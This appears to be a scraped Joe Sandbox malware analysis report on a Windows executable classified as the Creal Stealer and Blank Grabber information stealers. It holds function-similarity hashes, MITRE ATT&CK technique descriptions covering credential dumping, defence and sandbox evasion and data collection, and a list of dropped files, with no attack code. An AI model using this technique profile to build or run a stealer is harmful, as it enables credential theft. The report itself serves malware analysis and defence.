Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 3eee33850ff877a76f59ec51b6af72cd7d073a691558276a485592abc3036afa
Instruction ID: 03770f26c59a0bc3710876a8acdad2ff722fc836c44e7674e2d334242210af3e
Opcode Fuzzy Hash: 3eee33850ff877a76f59ec51b6af72cd7d073a691558276a485592abc3036afa
Instruction Fuzzy Hash: 0DD0C201F3824642EE54A76BBB466396252AF99BC4F8CD035FE0D83B4EDC3CC0814B00

Function 00007FF65E29D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF65E290C90,?,?,?,00007FF65E2922FA,?,?,?,?,?,00007FF65E293AE9), ref: 00007FF65E29D63A

Memory Dump Source

Source File: 00000004.00000002.2174153535.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000004.00000002.2174130481.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174187963.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174217569.00007FF65E2C1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2174268007.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff65e280000_Built.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: f5d1832e896caa1be7be3ae7a5d7a6eae82285e47200a61c388d9548037fd0e9
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 47F05894F0920340FE642BB16B4127833914FA87A0F0C2730FD2EE62CEDE6CB4C0A220

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Creal Stealer

Threatname: Blank Grabber

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

C:\Users\user\AppData\Local\Temp\_MEI27602\VCRUNTIME140.dll

C:\Users\user\AppData\Local\Temp\_MEI27602\_bz2.pyd

C:\Users\user\AppData\Local\Temp\_MEI27602\_ctypes.pyd

C:\Users\user\AppData\Local\Temp\_MEI27602\_decimal.pyd

C:\Users\user\AppData\Local\Temp\_MEI27602\_hashlib.pyd

C:\Users\user\AppData\Local\Temp\_MEI27602\_lzma.pyd

C:\Users\user\AppData\Local\Temp\_MEI27602\_queue.pyd

C:\Users\user\AppData\Local\Temp\_MEI27602\_socket.pyd

C:\Users\user\AppData\Local\Temp\_MEI27602\_sqlite3.pyd

Windows Analysis Report
#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre